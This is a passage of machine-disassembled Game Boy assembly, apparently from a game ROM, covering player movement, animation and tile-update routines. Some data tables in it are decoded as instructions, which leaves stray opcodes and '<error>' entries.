and $7f
jr z, .l_834e
ld a, [$c19b]
dec a
ld [$c19b], a
and $7f
ldh a, [$ff00 + $9e]
ld e, a
ld d, $00
ld hl, $432d
add hl, de
ld a, [hl]
ldh [$ff00 + $9d], a
ret
.l_834e:
xor a
ld [$c19b], a
ret
ldh a, [$ff00 + $f9]
and a
jr z, .l_8362
ld a, [$c17b]
and a
jr nz, .l_8362
call func_6bef
ret
.l_8362:
ld a, [$dbae]
ld [$d46b], a
call func_446a
ldh a, [$ff00 + $a2]
and a
jr nz, .l_8376
ldh a, [$ff00 + $a1]
and a
jp nz, .l_445c
.l_8376:
ld a, [$c14a]
and a
jr z, .l_83a9
ldh a, [$ff00 + $cc]
and $0f
jr z, .l_838e
ld e, a
ld d, $00
ld hl, $48b3
add hl, de
ldh a, [$ff00 + $9e]
cp [hl]
jr nz, .l_839b
.l_838e:
ld a, [$c120]
add a, $02
ld [$c120], a
call func_145d
jr .l_840a
.l_839b:
ld [$c19a], a
ld a, [$c199]
add a, $0c
ld [$c199], a
call func_093b
.l_83a9:
ld a, [$c146]
and a
jr nz, .l_840a
ld e, $00
ld a, [$d47c]
cp $01
jr nz, .l_83ba
ld e, $10
.l_83ba:
ldh a, [$ff00 + $cb]
and $0f
or e
ld e, a
ld d, $00
ld hl, $4873
add hl, de
ld a, [hl]
ldh [$ff00 + $9a], a
ld hl, $4893
add hl, de
ld a, [hl]
ldh [$ff00 + $9b], a
ld a, [$c17b]
and a
jr z, .l_83e0
ld hl, $ff9a
sla [hl]
ld hl, $ff9b
sla [hl]
.l_83e0:
ld a, e
and $0f
ld e, a
jr z, .l_83ff
ld hl, $c120
inc [hl]
ld hl, $48b3
add hl, de
ld a, [hl]
cp $0f
jr z, .l_840a
ld e, a
ld a, [$c16e]
and a
ld a, e
jr nz, .l_83fd
ldh [$ff00 + $9e], a
.l_83fd:
jr .l_840a
.l_83ff:
ld a, [$c14b]
and a
jr nz, .l_840a
ld a, $07
ld [$c120], a
.l_840a:
ld e, $03
ld a, [$c117]
and a
jr nz, .l_8448
ld e, $01
ld a, [$c15c]
and a
jr z, .l_8427
ld a, [$c5a8]
cp $d5
jr nz, .l_8427
ld a, [$c146]
and a
jr nz, .l_8448
.l_8427:
ldh a, [$ff00 + $b2]
and a
jr nz, .l_8448
ld hl, $c11f
ld a, [hl]
and a
jr z, .l_8454
cp $07
jr nz, .l_844f
ld a, [$c17b]
and a
jr nz, .l_8454
ld e, $01
ld a, [$c1bb]
cp $18
jr c, .l_8448
ld e, $07
.l_8448:
ldh a, [$ff00 + $e7]
and e
jr nz, .l_845c
jr .l_8454
.l_844f:
ldh a, [$ff00 + $e7]
and [hl]
jr z, .l_8469
.l_8454:
ld a, [$c14f]
and a
ret nz
call func_20d6
.l_845c:
ld a, [$c11f]
ld [$c130], a
xor a
ld [$c11f], a
call func_6fb1
.l_8469:
ret
ld a, [$c13e]
and a
jr z, .l_8490
dec a
ld [$c13e], a
call func_20d6
call func_6fb1
ld a, [$c133]
and a
jr z, .l_848c
and $03
jr z, .l_8489
xor a
ldh [$ff00 + $9b], a
jr .l_848c
.l_8489:
xor a
ldh [$ff00 + $9a], a
.l_848c:
pop af
call func_149b
.l_8490:
ret
nop
ldh a, [$ff00 + $10]
nop
rst 38
ld bc, $46fa
pop bc
and a
jp z, .l_4556
ldh a, [$ff00 + $f9]
and a
jp nz, .l_4556
call func_210f
ldh a, [$ff00 + $a3]
sub a, $02
ldh [$ff00 + $a3], a
ld a, $ff
ld [$c120], a
ld a, [$c10a]
ld hl, $c14a
or [hl]
jr nz, .l_850d
ld a, [$d475]
and a
jr nz, .l_84c8
ld a, [$c1ad]
cp $80
jr nz, .l_84cd
.l_84c8:
call func_1495
jr .l_850d
.l_84cd:
ldh a, [$ff00 + $cb]
and $03
jr z, .l_84ec
ld e, a
ld d, $00
ld hl, $6be9
add hl, de
ldh a, [$ff00 + $9a]
sub a, [hl]
jr z, .l_84ec
ld e, $01
bit 7, a
jr nz, .l_84e7
ld e, $ff
.l_84e7:
ldh a, [$ff00 + $9a]
add a, e
ldh [$ff00 + $9a], a
.l_84ec:
ldh a, [$ff00 + $cb]
rr a
rr a
and $03
jr z, .l_850d
ld e, a
ld d, $00
ld hl, $4491
add hl, de
ldh a, [$ff00 + $9b]
sub a, [hl]
jr z, .l_850d
ld e, $01
bit 7, a
jr nz, .l_8508
ld e, $ff
.l_8508:
ldh a, [$ff00 + $9b]
add a, e
ldh [$ff00 + $9b], a
.l_850d:
ldh a, [$ff00 + $a2]
and a
jr z, .l_8516
and $80
jr z, .l_8556
.l_8516:
call func_0942
ldh [$ff00 + $a2], a
ld [$c149], a
ldh [$ff00 + $a3], a
ld [$c146], a
ld [$c152], a
ld [$c153], a
ld [$c10a], a
ldh a, [$ff00 + $99]
cp $88
jr nc, .l_8556
call func_787d
ldh a, [$ff00 + $b8]
cp $61
jr z, .l_8556
ld a, [$c181]
cp $05
jr z, .l_8557
cp $07
jr z, .l_8556
cp $0b
jr z, .l_8556
cp $50
jr z, .l_8556
cp $51
jr z, .l_8556
ld a, $07
ldh [$ff00 + $f4], a
.l_8556:
ret
.l_8557:
ldh a, [$ff00 + $99]
ldh [$ff00 + $d8], a
ldh a, [$ff00 + $98]
ldh [$ff00 + $d7], a
ld a, $0e
ldh [$ff00 + $f2], a
ld a, $0c
call func_0953
ret
nop
nop
ld [$0006], sp
ld b, $00
nop
ld [$000a], sp
ld a, [bc]
nop
nop
ld [$0010], sp
stop
nop
nop
ld [$0008], sp
ld [$0000], sp
dec b
ld a, [bc]
nop
ld a, [bc]
nop
nop
dec b
ld a, [bc]
nop
ld a, [bc]
nop
nop
dec b
ld [$0800], sp
nop
nop
dec b
ld [$0800], sp
nop
nop
ld [$0008], sp
ld [$0000], sp
ld [$0008], sp
ld [$0000], sp
ld [$0008], sp
ld [$0000], sp
ld [$0008], sp
ld [$0000], sp
dec b
ld [$0800], sp
nop
nop
dec b
ld [$0800], sp
nop
nop
dec b
ld [$0800], sp
nop
nop
dec b
ld [$0800], sp
nop
ld b, $07
nop
ld bc, $0000
ld b, $05
inc b
inc bc
inc b
nop
nop
rlc a
ld b, $05
ld b, $00
inc b
inc bc
ld [bc], a
ld bc, $0002
jr .l_85fd
ld de, $ff11
nop
ld d, $17
stop
stop
rst 38
nop
inc d
dec d
rrc a
rrc a
rst 38
nop
ld [de], a
inc de
ld c, $0e
rst 38
nop
nop
dec c
inc de
.l_85fd:
stop
dec bc
nop
ldhl sp, d
di
<error>
ldh a, [$ff00 + $f5]
nop
stop
dec c
ldhl sp, d
push af
ldhl sp, d
nop
ldh a, [$ff00 + $f3]
nop
inc c
nop
nop
ldh a, [$ff00 + $f3]
nop
inc c
nop
nop
ldh a, [$ff00 + $f3]
nop
inc c
nop
nop
ldhl sp, d
di
ldh a, [$ff00 + $f3]
push af
nop
nop
dec c
stop
dec c
dec c
nop
nop
nop
inc bc
inc bc
nop
nop
nop
nop
<error>
<error>
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
<error>
<error>
nop
nop
nop
nop
inc bc
inc bc
nop
inc bc
inc bc
ld [$0101], sp
ld bc, $6101
ld h, d
ld h, e
nop
ld e, [hl]
ld e, a
ld h, b
nop
ld h, a
ld l, b
ld l, c
nop
ld h, h
ld h, l
ld h, [hl]
nop
nop
inc bc
ld bc, $0302
ld [bc], a
inc bc
ld [bc], a
inc bc
ld [bc], a
inc bc
inc b
inc bc
inc b
inc bc
ld [bc], a
inc bc
inc b
inc bc
inc b
inc bc
ld [bc], a
inc bc
inc b
inc bc
inc b
inc bc
inc b
inc bc
inc b
inc bc
inc b
inc bc
ld [bc], a
inc bc
inc b
nop
ld [bc], a
ld [bc], a
ld bc, $0301
inc bc
nop
ld bc, $0202
nop
nop
inc bc
inc bc
ld bc, $0002
nop
inc bc
inc bc
ld bc, $0201
inc bc
ld bc, $0201
ld [bc], a
nop
nop
inc bc
dec a
ld [$c121], a
ld hl, $ffa1
ld [hl], $01
srl a
srl a
ld e, a
ld d, $00
ldh a, [$ff00 + $9e]
sla a
sla a
sla a
add a, e
ld e, a
ld hl, $4674
add hl, de
ld a, [hl]
ld [$c137], a
ld hl, $4694
add hl, de
ldh a, [$ff00 + $9e]
push af
ld a, [hl]
ldh [$ff00 + $9e], a
call func_47d4
pop af
ldh [$ff00 + $9e], a
ldh a, [$ff00 + $e7]
and $03
jr nz, .l_86f0
ld hl, $c121
dec [hl]
.l_86f0:
ld a, [$c121]
and a
jp z, .l_485e
rl a
jp c, .l_485e
ldh a, [$ff00 + $98]
add a, $08
ld [$c140], a
ld a, $18
ld [$c141], a
ld [$c143], a
ld a, [$c145]
add a, $08
ld [$c142], a
ld [$c5b0], a
ret
dec a
ld [$c16d], a
jp z, .l_485e
ld hl, $c16e
ld [hl], $04
ld a, [$c14a]
and a
jr nz, .l_872c
ld a, $01
ldh [$ff00 + $a1], a
.l_872c:
ld a, $03
ld [$c137], a
jp $47d4
.l_8734:
call func_47d4
.l_8737:
ret
ld a, [$d475]
and a
jr z, .l_874f
ldh a, [$ff00 + $e7]
rr a
rr a
and $03
ld e, a
ld d, $00
ld hl, $4670
add hl, de
ld a, [hl]
ldh [$ff00 + $9e], a
ret
.l_874f:
ld a, [$c146]
cp $01
jr nz, .l_878c
ld a, [$c3cf]
ld hl, $c137
or [hl]
jr nz, .l_878c
ldh a, [$ff00 + $9e]
rl a
rl a
and $0c
ld c, a
ld b, $00
ld a, [$c152]
cp $03
jr nc, .l_878c
ld e, a
ld d, $00
ld hl, $4660
add hl, de
add hl, bc
ld a, [hl]
ldh [$ff00 + $9d], a
ld a, [$c153]
inc a
ld [$c153], a
and $07
jr nz, .l_878c
ld a, [$c152]
inc a
ld [$c152], a
.l_878c:
ld a, [$c121]
and a
jp nz, .l_46b4
ld a, [$c16d]
and a
jp nz, .l_4716
ld a, [$c137]
and a
jr z, .l_8737
ld hl, $c16e
ld [hl], $04
ld a, [$c137]
cp $05
jr nc, .l_8734
ld a, [$c14a]
and a
jr nz, .l_87b6
ld a, $01
ldh [$ff00 + $a1], a
.l_87b6:
ld a, [$c138]
and a
jr nz, .l_87d0
ld a, [$c137]
inc a
ld [$c137], a
cp $04
jp z, .l_485e
ld c, a
ld b, $00
ld hl, $4658
add hl, bc
ld a, [hl]
.l_87d0:
dec a
ld [$c138], a
ld hl, $c137
ldh a, [$ff00 + $9e]
ld e, a
sla a
sla a
add a, e
add a, e
add a, [hl]
ld c, a
ld b, $00
ld hl, $45c9
add hl, bc
ld a, [hl]
ld [$c136], a
ld hl, $45e1
add hl, bc
ld a, [hl]
cp $ff
jr z, .l_87f7
ldh [$ff00 + $9d], a
.l_87f7:
ld hl, $45f9
add hl, bc
ld a, [hl]
ld [$c13a], a
ld hl, $4611
add hl, bc
ld a, [hl]
ld [$c139], a
ld hl, $4629
add hl, bc
ld a, [hl]
ld [$c13c], a
ld hl, $4641
add hl, bc
ld a, [hl]
ld [$c13b], a
ld hl, $4569
add hl, bc
ld a, [hl]
and a
jr z, .l_885a
ld a, [$c15b]
and a
jr z, .l_882b
ldh a, [$ff00 + $e7]
and $01
jr nz, .l_885a
.l_882b:
ld a, [$c13a]
add a, [hl]
ld hl, $ff98
add a, [hl]
ld [$c140], a
ld hl, $4581
add hl, bc
ld a, [hl]
ld [$c141], a
ld a, [$c139]
ld hl, $4599
add hl, bc
add a, [hl]
ld hl, $c145
add a, [hl]
ld [$c142], a
ld hl, $45b1
add hl, bc
ld a, [hl]
ld [$c143], a
ld a, $01
ld [$c5b0], a
.l_885a:
call func_12ae
ret
xor a
ld [$c1ac], a
ld a, [$c14a]
and a
jr nz, .l_8872
xor a
ld [$c137], a
ld [$c16a], a
ld [$c121], a
.l_8872:
ret
nop
stop
ldh a, [$ff00 + $00]
nop
inc c
<error>
nop
nop
inc c
<error>
nop
nop
nop
nop
nop
nop
inc d
<error>
nop
nop
rrc a
pop af
nop
nop
rrc a
pop af
nop
nop
nop
nop
nop
nop
nop
nop
nop
ldh a, [$ff00 + $f4]
<error>
nop
stop
inc c
inc c
nop
nop
nop
nop
nop
nop
nop
nop
nop
<error>
pop af
pop af
nop
inc d
rrc a
rrc a
nop
nop
nop
nop
nop
rrc a
nop
ld bc, $020f
rrc a
rrc a
rrc a
inc bc
rrc a
rrc a
ld a, [bc]
dec bc
ld b, $07
inc b
dec b
nop
ld bc, $2d2c
ld b, $07
inc [hl]
dec [hl]
ldi [hl], a
inc hl
ldi a, [hl]
dec hl
jr z, .l_88fb
jr nc, .l_8905
inc h
dec h
ld l, $2f
ld b, $07
inc [hl]
dec [hl]
ldi [hl], a
inc hl
ldi a, [hl]
dec hl
jr z, .l_890b
ldd [hl], a
inc sp
ld h, $27
jr nz, .l_8909
ld e, $1f
inc e
dec e
ld a, [de]
dec de
ld a, $3f
ld b, b
ld b, c
ld b, d
ld b, e
ld b, h
ld b, l
ld b, [hl]
ld b, a
ld c, b
ld c, c
ld c, d
.l_88fb:
ld c, e
ld c, h
ld c, l
ld c, [hl]
ld c, a
ld c, [hl]
ld c, a
ld c, [hl]
ld c, a
ld c, [hl]
.l_8905:
ld c, a
ld e, e
ld e, h
ld e, b
.l_8909:
ld e, c
ld e, e
.l_890b:
ld e, h
ld e, b
ld e, c
ld a, $02
ld [$c1c4], a
ldh a, [$ff00 + $9c]
and a
jr nz, .l_8958
ldh a, [$ff00 + $99]
add a, $10
ldh [$ff00 + $99], a
ldh [$ff00 + $a0], a
ldh a, [$ff00 + $a2]
add a, $10
ldh [$ff00 + $a2], a
.l_8926:
ld a, $ff
ldh [$ff00 + $9b], a
xor a
ldh [$ff00 + $9a], a
ldh a, [$ff00 + $99]
add a, $08
ldh [$ff00 + $99], a
ldh [$ff00 + $a0], a
ldh a, [$ff00 + $a2]
add a, $08
ldh [$ff00 + $a2], a
call func_7180
ldh a, [$ff00 + $af]
cp $e1
jr z, .l_8926
cp $61
jr z, .l_894e
ld a, [$c133]
and a
jr nz, .l_8926
.l_894e:
ld a, $01
ldh [$ff00 + $9c], a
ldh a, [$ff00 + $99]
sub a, $03
ldh [$ff00 + $99], a
.l_8958:
call func_44a4
ldh a, [$ff00 + $a2]
and a
jr nz, .l_8964
xor a
ld [$c11c], a
.l_8964:
ld a, $01
ld [$c146], a
call func_0d68
call func_4738
ld a, [$c137]
ld [$c16a], a
call func_149b
ret
ld bc, $0100
nop
nop
ld bc, $0100
ld bc, $0001
nop
nop
nop
ld bc, $0101
nop
ld bc, $0000
ld bc, $0100
ld bc, $0001
nop
nop
nop
ld bc, $0001
ld bc, $0101
ld bc, $0100
ld bc, $0101
nop
ld bc, $0101
ld bc, $0100
nop
nop
nop
nop
ld bc, $0000
nop
nop
ld bc, $0000
nop
nop
ld bc, $0100
ld bc, $0100
nop
nop
ld bc, $f808
ld b, $01
ld a, [$c166]
and a
ret z
ld hl, $ffa1
ld [hl], $02
cp $ff
jr nz, .l_8a2b
ld a, [$d210]
add a, $01
ld [$d210], a
ld a, [$d211]
adc a, $00
ld [$d211], a
cp $08
jr nz, .l_8a02
ld a, [$d210]
cp $d0
jr nz, .l_8a02
xor a
ld [$c166], a
ld [$c167], a
ld a, $03
ld [$c5a3], a
ld a, [$d465]
cp $47
ret z
jr .l_8a1b
.l_8a02:
ld a, [$d465]
cp $47
jr z, .l_8a29
ldh a, [$ff00 + $cc]
and $30
jr z, .l_8a29
xor a
ld [$c166], a
ld [$c167], a
ld a, $03
ld [$c5a3], a
.l_8a1b:
ld a, [$d461]
ld e, a
ld d, b
ld hl, $c290
add hl, de
ld [hl], $00
jp .l_27bd
.l_8a29:
jr .l_8a80
.l_8a2b:
call func_1495
call func_093b
ld hl, $c166
dec [hl]
jr nz, .l_8a80
ld a, [$db73]
and a
jr z, .l_8a51
ld a, [$db4a]
cp $01
jr z, .l_8a61
ld a, [$dba5]
and a
jr nz, .l_8a61
ld a, $77
call func_218e
jr .l_8a61
.l_8a51:
ld a, [$db49]
and a
jr nz, .l_8a61
ld a, $8e
call func_2197
xor a
ld [$c167], a
ret
.l_8a61:
xor a
ld [$c167], a
ld a, [$db4a]
cp $01
jr nz, .l_8a7f
ld a, $02
ld [$c17f], a
xor a
ld [$c180], a
ld [$c16b], a
ld [$c16c], a
ld a, $2c
ldh [$ff00 + $f2], a
.l_8a7f:
ret
.l_8a80:
ld a, [$c5a4]
inc a
ld [$c5a4], a
cp $38
jr c, .l_8a97
xor a
ld [$c5a4], a
ld a, [$c5a5]
xor $01
ld [$c5a5], a
.l_8a97:
ld a, [$c5a5]
ld e, $75
and a
jr nz, .l_8aa0
inc e
.l_8aa0:
ld a, e
ldh [$ff00 + $9d], a
ld a, $02
ld [$c167], a
ld [$c111], a
ld a, [$c166]
cp $10
ret c
ld a, [$c5a4]
cp $14
jr nz, .l_8aef
ld a, $c9
call func_3c01
jr c, .l_8aef
ldh a, [$ff00 + $99]
ld hl, $c210
add hl, de
sub a, $08
ld [hl], a
ld a, [$c5a5]
ld c, a
ld b, d
ld hl, $49c1
add hl, bc
ldh a, [$ff00 + $98]
add a, [hl]
ld hl, $c200
add hl, de
ld [hl], a
ld hl, $49c3
add hl, bc
ld a, [hl]
ld hl, $c240
add hl, de
ld [hl], a
ld hl, $c250
add hl, de
ld [hl], $fc
ld hl, $c3d0
add hl, de
ld [hl], $40
.l_8aef:
ret
ld [hl], c
ld [hl], d
ld l, a
ld [hl], b
ld [hl], e
ld [hl], h
ld l, l
ld l, [hl]
ld a, [$c1c7]
and a
jr z, .l_8b6e
ldh a, [$ff00 + $f7]
cp $08
jr nz, .l_8b13
ld a, [$d219]
cp $02
jr nz, .l_8b13
call func_0f3f
ld a, $01
ld [$c5b0], a
.l_8b13:
ld hl, $ffa1
ld [hl], $01
call func_1495
ld [$c137], a
ld [$c121], a
ld [$c122], a
ld a, [$c1c8]
inc a
ld [$c1c8], a
cp $10
jr nz, .l_8b34
push af
call func_4b77
pop af
.l_8b34:
cp $18
jr nz, .l_8b58
ld a, [$c1c7]
cp $02
jr nz, .l_8b50
ld a, [$db73]
and a
jr z, .l_8b50
ld a, [$c19f]
and a
jr nz, .l_8b50
ld a, $79
call func_218e
.l_8b50:
xor a
ld [$c1c7], a
ld [$c1ac], a
ret
.l_8b58:
rr a
rr a
rr a
rr a
and $01
ld e, a
ldh a, [$ff00 + $9e]
sla a
add a, e
ld e, a
ld d, $00
ld hl, $4af0
add hl, de
ld a, [hl]
ldh [$ff00 + $9d], a
.l_8b6e:
ret
inc d
<error>
ld [$0a08], sp
ld a, [bc]
<error>
inc d
call func_4c35
jr c, .l_8b84
ld a, $02
ld [$c1c7], a
call func_4b85
.l_8b84:
ret
ldh a, [$ff00 + $d8]
ld e, a
ld d, $00
ld hl, $d711
add hl, de
ld [hl], $cc
call func_2839
ld hl, $d601
ld a, [$d600]
ld e, a
add a, $0a
ld [$d600], a
ld d, $00
add hl, de
ldh a, [$ff00 + $cf]
ldi [hl], a
ldh a, [$ff00 + $d0]
ldi [hl], a
ld a, $81
ldi [hl], a
ld a, [$dba5]
and a
jr z, .l_8bc8
ld a, $04
ldi [hl], a
ld a, $06
ldi [hl], a
ldh a, [$ff00 + $cf]
ldi [hl], a
ldh a, [$ff00 + $d0]
inc a
ldi [hl], a
ld a, $81
ldi [hl], a
ld a, $05
ldi [hl], a
ld a, $07
jr .l_8bdd
.l_8bc8:
ld a, $6a
ldi [hl], a
ld a, $7a
ldi [hl], a
ldh a, [$ff00 + $cf]
ldi [hl], a
ldh a, [$ff00 + $d0]
inc a
ldi [hl], a
ld a, $81
ldi [hl], a
ld a, $6b
ldi [hl], a
ld a, $7b
.l_8bdd:
ldi [hl], a
ld a, $00
ldi [hl], a
call func_27ed
and $07
jr nz, .l_8c34
call func_27ed
rr a
ld a, $2e
jr nc, .l_8bf2
ld a, $2d
.l_8bf2:
call func_3c01
jr c, .l_8c34
ld hl, $c200
add hl, de
ldh a, [$ff00 + $ce]
add a, $08
ld [hl], a
ld hl, $c210
add hl, de
ldh a, [$ff00 + $cd]
add a, $10
ld [hl], a
ld hl, $c450
add hl, de
ld [hl], $80
ld hl, $c2f0
add hl, de
ld [hl], $18
ld hl, $c320
add hl, de
ld [hl], $20
push de
pop bc
ld a, $0c
call func_3c25
ldh a, [$ff00 + $d7]
cpl
inc a
ld hl, $c250
add hl, bc
ld [hl], a
ldh a, [$ff00 + $d8]
cpl
inc a
ld hl, $c240
add hl, bc
ld [hl], a
.l_8c34:
ret
ld a, [$c15c]
ld hl, $ffa2
or [hl]
ld hl, $c11c
or [hl]
ld hl, $fff9
or [hl]
jp nz, .l_4caa
ldh a, [$ff00 + $9e]
ld e, a
ld d, $00
ld hl, $4b6f
add hl, de
ldh a, [$ff00 + $98]
add a, [hl]
sub a, $08
and $f0
ldh [$ff00 + $ce], a
swap a
ld c, a
ld hl, $4b73
add hl, de
ldh a, [$ff00 + $99]
add a, [hl]
sub a, $10
and $f0
ldh [$ff00 + $cd], a
or c
ld e, a
ldh [$ff00 + $d8], a
ld hl, $d711
add hl, de
ld a, h
cp $d7
jp nz, .l_4caa
ld a, [hl]
ldh [$ff00 + $d7], a
ld e, a
ld a, [$dba5]
ld d, a
call func_29db
cp $00
jr nz, .l_8caa
ld a, d
and a
jr nz, .l_8ca2
ldh a, [$ff00 + $d7]
cp $0c
jr z, .l_8caa
cp $0d
jr z, .l_8caa
cp $0c
jr z, .l_8caa
cp $0d
jr z, .l_8caa
cp $b9
jr z, .l_8caa
jr .l_8ca8
.l_8ca2:
ldh a, [$ff00 + $d7]
cp $05
jr nz, .l_8caa
.l_8ca8:
and a
ret
.l_8caa:
scf
ret
ldh a, [$ff00 + $d7]
ldh [$ff00 + $ce], a
swap a
and $0f
ld e, a
ldh a, [$ff00 + $d8]
ldh [$ff00 + $cd], a
and $f0
or e
ld e, a
ld d, $00
ld hl, $d711
add hl, de
ld [hl], $ae
call func_2839
ld hl, $d601
ld a, [$d600]
ld e, a
add a, $0a
ld [$d600], a
ld d, $00
add hl, de
ldh a, [$ff00 + $cf]
ldi [hl], a
ldh a, [$ff00 + $d0]
ldi [hl], a
ld a, $81
ldi [hl], a
ld a, $76
ldi [hl], a
ld a, $77
ldi [hl], a
ldh a, [$ff00 + $cf]
ldi [hl], a
ldh a, [$ff00 + $d0]
inc a
ldi [hl], a
ld a, $81
ldi [hl], a
ld a, $76
ldi [hl], a
ld a, $77
ldi [hl], a
ld [hl], $00
ret
ld d, b
ld d, c
ld d, d
ld d, e
ld d, e
ld d, h
ld d, d
ld a, $10
ldh [$ff00 + $99], a
ld a, $50
ldh [$ff00 + $98], a
ld [$c167], a
ld a, [$c198]
rr a
rr a
rr a
and $07
ld e, a
ld d, $00
ld hl, $4cf9
add hl, de
ld a, [hl]
ldh [$ff00 + $9d], a
ld a, [$c198]
inc a
ld [$c198], a
cp $38
jr c, .l_8d34
ld a, $fb
ldh [$ff00 + $99], a
ld a, $02
ldh [$ff00 + $9e], a
ld a, $04
ldh [$ff00 + $9d], a
.l_8d34:
ld a, [$c198]
cp $48
jr nz, .l_8d51
ld a, $02
ld [$c125], a
ld a, $01
ld [$c124], a
xor a
ld [$c198], a
ld [$c167], a
ld a, $00
ld [$c11c], a
.l_8d51:
ret
nop
ld [$00f8], sp
nop
ld b, $fa
nop
nop
ld b, $fa
nop
nop
nop
nop
nop
nop
stop
ldh a, [$ff00 + $00]
nop
inc c
<error>
nop
nop
inc c
<error>
nop
nop
nop
nop
nop
nop
nop
nop
nop
ldhl sp, d
ld a, [$00fa]
ld [$0606], sp
nop
nop
nop
nop
nop
nop
nop
nop
nop
ldh a, [$ff00 + $f4]
<error>
nop
stop
inc c
inc c
nop
nop
nop
nop
nop
ld a, [$c17b]
and a
jr z, .l_8d9e
ld a, $00
ld [$c11c], a
ret
.l_8d9e:
call func_093b
ldh [$ff00 + $a2], a
ld [$c146], a
ld [$c19b], a
ld [$c137], a
ld [$c16a], a
ld [$c16d], a
ld hl, $c19f
ldh a, [$ff00 + $a1]
or [hl]
jp z, .l_4dc9
call func_1495
ldh a, [$ff00 + $a1]
and a
jr z, .l_8dc6
xor a
ldh [$ff00 + $a1], a
.l_8dc6:
jp $19ef
ldh a, [$ff00 + $cc]
and $20
jr z, .l_8de2
ldh a, [$ff00 + $9c]
xor $01
ldh [$ff00 + $9c], a
jr z, .l_8de2
ld a, $a0
ldh [$ff00 + $b7], a
ldh a, [$ff00 + $99]
sub a, $03
call func_571d
.l_8de2:
ld a, [$c183]
and a
jr z, .l_8dee
dec a
ld [$c183], a
jr .l_8dfd
.l_8dee:
ldh a, [$ff00 + $cc]
and $10
jr z, .l_8dfd
ld a, $0f
ldh [$ff00 + $f2], a
ld a, $20
ld [$c183], a
.l_8dfd:
ldh a, [$ff00 + $e7]
and $01
jr nz, .l_8e61
ldh a, [$ff00 + $cb]
and $0f
ld e, a
ld d, $00
ld hl, $4d52
ld a, [$c183]
cp $10
jr c, .l_8e17
ld hl, $4d62
.l_8e17:
add hl, de
ld a, [hl]
ld hl, $ff9a
sub a, [hl]
jr z, .l_8e26
inc [hl]
bit 7, a
jr z, .l_8e26
dec [hl]
dec [hl]
.l_8e26:
ld hl, $4d72
ld a, [$c183]
cp $10
jr c, .l_8e33
ld hl, $4d82
.l_8e33:
add hl, de
ld a, [hl]
ld hl, $ff9b
sub a, [hl]
jr z, .l_8e42
inc [hl]
bit 7, a
jr z, .l_8e42
dec [hl]
dec [hl]
.l_8e42:
ldh a, [$ff00 + $9a]
or [hl]
ld hl, $ff9c
or [hl]
jr z, .l_8e51
ld hl, $c120
inc [hl]
jr .l_8e56
.l_8e51:
ld a, $03
ld [$c120], a
.l_8e56:
ld hl, $48b3
add hl, de
ld a, [hl]
cp $0f
jr z, .l_8e61
ldh [$ff00 + $9e], a
.l_8e61:
call func_19ef
ldh a, [$ff00 + $a1]
and a
jr z, .l_8e6e
xor a
ldh [$ff00 + $a1], a
jr .l_8e71
.l_8e6e:
call func_4454
.l_8e71:
call func_77fa
ldh a, [$ff00 + $9c]
and a
jr z, .l_8ed5
ldh a, [$ff00 + $b7]
and a
jr nz, .l_8e80
ldh [$ff00 + $9c], a
.l_8e80:
ldh a, [$ff00 + $f7]
and a
jr z, .l_8e91
cp $1f
jr nz, .l_8ed6
ldh a, [$ff00 + $f6]
cp $f2
jr nz, .l_8ed5
jr .l_8e97
.l_8e91:
ldh a, [$ff00 + $f6]
cp $78
jr nz, .l_8ed5
.l_8e97:
ldh a, [$ff00 + $99]
sub a, $50
add a, $08
cp $10
jr nc, .l_8efe
ldh a, [$ff00 + $98]
sub a, $58
add a, $08
cp $10
jr nc, .l_8efe
ld hl, $fff8
bit 5, [hl]
jr nz, .l_8ed5
set 5, [hl]
ld a, $35
call func_3c01
jr c, .l_8ed5
ldh a, [$ff00 + $98]
ld hl, $c200
add hl, de
ld [hl], a
ldh a, [$ff00 + $99]
ld hl, $c210
add hl, de
ld [hl], a
ld hl, $c310
add hl, de
ld [hl], $03
ld hl, $c340
add hl, de
res 4, [hl]
.l_8ed5:
ret
.l_8ed6:
ldh a, [$ff00 + $f6]
cp $8d
jr nz, .l_8efe
ldh a, [$ff00 + $99]
sub a, $50
add a, $08
cp $10
jr nc, .l_8efe
ldh a, [$ff00 + $98]
sub a, $58
add a, $08
cp $10
jr nc, .l_8efe
ldh a, [$ff00 + $98]
ld [$d404], a
ld a, [$c11c]
ld [$d463], a
jp .l_0909
.l_8efe:
ret
ld a, $01
ldh [$ff00 + $a1], a
call func_20d6
call func_210f
ldh a, [$ff00 + $98]
and $f0
cp $e0
jr z, .l_8f16
ldh a, [$ff00 + $a2]
cp $78
ret c
.l_8f16:
call func_090f
call func_1495
ldh [$ff00 + $a2], a
ldh [$ff00 + $a3], a
ld a, $70
ld [$dbc8], a
ret
ld d, l
ld d, [hl]
ld d, a
ld d, a
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
ld a, $01
ld [$c167], a
ld a, [$c198]
inc a
ld [$c198], a
rr a
rr a
rr a
rr a
nop
and $0f
cp $06
jr z, .l_8f52
ld e, a
ld d, $00
ld hl, $4f26
add hl, de
ld a, [hl]
ldh [$ff00 + $9d], a
ret
.l_8f52:
xor a
ld [$c13e], a
ld [$c121], a
ld [$c122], a
call func_5111
ld a, [$dba5]
and a
jr nz, .l_8f87
ldh a, [$ff00 + $f6]
cp $01
jr z, .l_8f77
cp $95
jr z, .l_8f77
cp $2c
jr z, .l_8f77
cp $ec
jr nz, .l_8f87
.l_8f77:
ld a, $09
ld [$c11c], a
ld a, $40
ldh [$ff00 + $b7], a
xor a
ldh [$ff00 + $9c], a
dec a
ldh [$ff00 + $9d], a
ret
.l_8f87:
ld a, [$dbcb]
cp $50
jr z, .l_8fc6
cp $ff
jr z, .l_8fb1
ld a, [$d401]
cp $02
jr nz, .l_8fa1
ldh a, [$ff00 + $99]
ld [$d404], a
xor a
jr .l_8fb8
.l_8fa1:
ldh a, [$ff00 + $98]
and $f0
add a, $08
ld [$d404], a
ldh a, [$ff00 + $99]
and $f0
ld [$d405], a
.l_8fb1:
ld a, $01
ld [$d475], a
ld a, $70
.l_8fb8:
ld [$dbc8], a
call func_1495
ldh [$ff00 + $a3], a
ld [$c146], a
jp $090f
.l_8fc6:
ld a, [$dba5]
and a
jr nz, .l_8fd2
ldh a, [$ff00 + $f6]
cp $1e
jr z, .l_8fb1
.l_8fd2:
ldh a, [$ff00 + $f7]
cp $0a
jr nz, .l_9008
ldh a, [$ff00 + $f6]
cp $7a
jr z, .l_8fea
cp $7b
jr z, .l_8fea
cp $7c
jr z, .l_8fea
cp $7d
jr nz, .l_9008
.l_8fea:
ld a, $00
